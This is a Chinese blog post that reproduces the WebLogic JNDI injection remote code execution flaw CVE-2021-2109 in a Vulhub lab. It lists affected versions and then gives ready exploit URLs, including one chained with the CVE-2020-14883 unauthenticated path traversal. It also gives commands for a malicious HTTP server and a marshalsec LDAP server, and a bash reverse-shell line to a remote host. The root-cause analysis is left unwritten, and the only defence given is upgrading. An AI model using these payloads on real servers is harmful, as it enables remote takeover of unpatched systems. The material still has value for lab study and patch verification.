浅析WebLogic JNDI注入RCE(CVE-2021-2109)
/0x00 前言
简单学习WebLogic JNDI注入RCE(CVE-2021-2109)。
0x01 WebLogic JNDI注入RCE(CVE-2021-2109)
环境搭建
用的Vulhub:
影响版本
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。
前提条件
拥有访问/console/consolejndi.portal
页面的用户权限,或者存在CVE-2020-14883未授权访问漏洞。
漏洞原理
WebLogic的/console/consolejndi.portal接口可以调用存在JNDI注入漏洞的com.bea.console.handles.JndiBindingHandle类,从而造成RCE。
漏洞复现
环境搭建好之后,利用前面CVE-2020-14883的未授权访问漏洞可以直接访问到consolejndi.portal页面:
1 | http://ip:7001/console/css/%252e%252e%252fconsolejndi.portal |
先来编写一个恶意类Exp,其中payload为打DNSLog外带验证:
1 | import java.io.BufferedReader; |
开启Web服务,其中存放上述恶意类以供JNDI注入远程加载访问:
1 | python -m SimpleHTTPServer 88 |
开启恶意LDAP服务:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.19.0.1:88/#Exp 9998 |
原始Exp:
1 | /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://172.19.0;1:9998/aew0xy;AdminServer%22) |
结合未授权访问漏洞的Exp:
1 | /console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://172.19.0;1:9998/aew0xy;AdminServer%22) |
在LDAP服务端和Web服务端都有记录:
DNSLog外带成功:
证明存在漏洞且能外连,要反弹shell的话直接修改Exp类执行的命令在base64编码即可:
1 | // bash -i >& /dev/tcp/172.19.0.1/6666 0>&1 |
更新Web服务上的Exp类后,再发一次报文就能成功获取到shell了:
漏洞分析
参考:
https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw
https://y4er.com/post/weblogic-cve-2021-2109-jndi-rce/
待分析…
防御方法
升级WebLogic版本。